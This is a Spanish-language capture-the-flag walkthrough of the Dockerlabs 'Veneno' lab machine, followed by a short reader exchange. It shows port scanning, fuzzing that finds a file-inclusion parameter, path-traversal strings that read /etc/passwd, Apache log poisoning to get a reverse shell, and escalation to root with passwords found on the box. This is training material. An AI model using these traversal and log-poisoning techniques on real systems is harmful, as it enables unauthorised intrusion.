Veneno es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Medio.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 3000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 15:40 CEST Initiating ARP Ping Scan at 15:40 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 15:40, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 15:40 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 15:40, 0.64s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000050s latency). Scanned at 2024-06-29 15:40:44 CEST for 0s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 15:41 CEST Nmap scan report for norc.labs (172.17.0.2) Host is up (0.000032s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA) |_ 256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds |
Lanzamos feroxbuster para buscar archivos/directorios en el servidor web
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 310c http://172.17.0.2/uploads => http://172.17.0.2/uploads/ 200 GET 363l 961w 10671c http://172.17.0.2/problems.php 200 GET 363l 961w 10671c http://172.17.0.2/index.html 200 GET 22l 105w 5952c http://172.17.0.2/icons/ubuntu-logo.png 200 GET 363l 961w 10671c http://172.17.0.2/ |
Vemos que problems.php parece ser lo mismo que index.html pero siendo php , buscaremos si tiene algún parámetro .
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
┌──(kali㉿kali)-[~] └─$ wfuzz --hw=961 -w SecLists/Discovery/Web-Content/big.txt -u "http://172.17.0.2/problems.php?FUZZ=/etc/passwd" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://172.17.0.2/problems.php?FUZZ=/etc/passwd Total requests: 20476 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003021: 200 25 L 32 W 1245 Ch "backdoor" |
Encontramos el parámetro backdoor y vemos que con esto podemos leer archivos.

Tras no ver nada a simple vista, miraremos que archivos podemos leer del sistema
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali)-[~] └─$ wfuzz --hw=0 -w ~/LFI\ payloads.txt -u "http://172.17.0.2/problems.php?backdoor=FUZZ" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://172.17.0.2/problems.php?backdoor=FUZZ Total requests: 70466 000002858: 200 25 L 32 W 1245 Ch "../../../../../../../../../etc/passwd" 000002860: 200 25 L 32 W 1245 Ch "../../../../../../../etc/passwd" 000002867: 200 25 L 32 W 1245 Ch "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2 e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64" 000002897: 200 25 L 32 W 1245 Ch "../../../../../../../../../../../../etc/passwd" 000002904: 200 25 L 32 W 1245 Ch "/./././././././././././etc/passwd" 000002902: 200 25 L 32 W 1245 Ch "/../../../../../../../../../../etc/passwd" 000002893: 200 7 L 16 W 174 Ch "../../../../../../../../../../../../etc/hosts" 000000166: 200 413841 7533520 60703060 "/var/log/apache2/error.log" |
Así que disponemos del archivo error.log para hacer log poisoning y para que entren aquí los logs de las peticiones, no tienen que ser 200. El porque de crearlo en la carpeta uploads es porque no podemos escribir en el propio path de la web.

Y veremos la reverse shell en la carpeta uploads que habíamos visto anteriormente.

Accedemos a sh3ll.php y tenemos la conexión hacia nuestra maquina.
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 34778 Linux 57aba1baba5d 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 x86_64 x86_64 GNU/Linux 01:13:26 up 20:07, 0 user, load average: 1.12, 1.24, 1.24 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Vemos que ficheros tenemos en el directorio de la web y nos encontramos con una pista en el txt.
|
1 2 3 4 5 6 7 8 9 10 11 |
www-data@eeb4eb38add0:/var/www/html$ ls -l total 24 -rw-r--r-- 1 root root 163 Jun 29 06:47 antiguo_y_fuerte.txt -rw-r--r-- 1 root root 10671 Jun 29 00:47 index.html -rw-r--r-- 1 root root 157 Jun 29 00:54 problems.php drwxrwxrwx 1 root root 4096 Jun 30 03:41 uploads www-data@57aba1baba5d:/var/www/html$ cat antiguo_y_fuerte.txt Es imposible que me acuerde de la pass es inhackeable pero se que la tenpo en el mismo fichero desde fa 24 anys. trobala buscala soy el unico user del sistema. |
Calculamos cuantas días con los 24 años
|
1 2 3 4 5 |
└─$ python3 Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 360*24 8640 |
Y buscaremos con find el supuesto fichero.
|
1 2 |
www-data@57aba1baba5d:/var/www/html$ find / -mtime +8640 -exec cat {} \; 2> /dev/null pinguinochocolatero |
Esta será la contraseña de Carlos, por lo tanto escalaremos a ese usuario.
|
1 2 3 |
www-data@57aba1baba5d:/var/www/html$ su carlos Password: carlos@57aba1baba5d:/var/www/html$ |
Tras esto, estando en el HOME de Carlos, vemos una estructura de carpetas donde lo que nos interesa es si hay alguna archivo valido.
|
1 2 3 4 5 6 |
carlos@57aba1baba5d:~$ find . -type f 2> /dev/null ./.bash_logout ./.profile ./.bash_history ./.bashrc ./carpeta55/.toor.jpg |
Nos pasaremos la foto a nuestra maquina, tras probar alguna herramienta de stego, usaremos exiftool
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
┌──(kali㉿kali)-[~] └─$ exiftool .toor.jpg ExifTool Version Number : 12.44 File Name : .toor.jpg Directory : . File Size : 628 kB File Modification Date/Time : 2024:06:29 02:19:05+02:00 File Access Date/Time : 2024:06:29 17:25:54+02:00 File Inode Change Date/Time : 2024:06:29 17:25:49+02:00 File Permissions : -rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Image Quality : pingui1730 Image Width : 2048 Image Height : 2048 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 2048x2048 Megapixels : 4.2 |
Lo que nos llama la atención de el valor de Image Quality, la cual parece una contraseña y dado que solo nos falta escalar a root, la probaremos.
|
1 2 3 |
carlos@57aba1baba5d:~/carpeta55$ su root Password: root@57aba1baba5d:/home/carlos/carpeta55# |
Y hasta aquí la maquina de Veneno de la plataforma Dockerlabs!
PD: posteriormente se ha visto que access.log tardaba en cargar, pero tambien seria correcto hacerlo por ese path.










Tengo un problema con el log poisoning en la maquina veneno de dockerlabs, me gustaria que me pudieses ayudar, por favor, estoy trabado desde hace un par de horas, vi tu writeup, pero aun asi sigo algo perdido, muchas gracias
Hola, en principio la forma intencionada o la mas común en hacer la inyección a través del access.log pero en mi caso, al tener problemas de que no cargaba correctamente el fichero, lo hice a través del error, que problema tienes?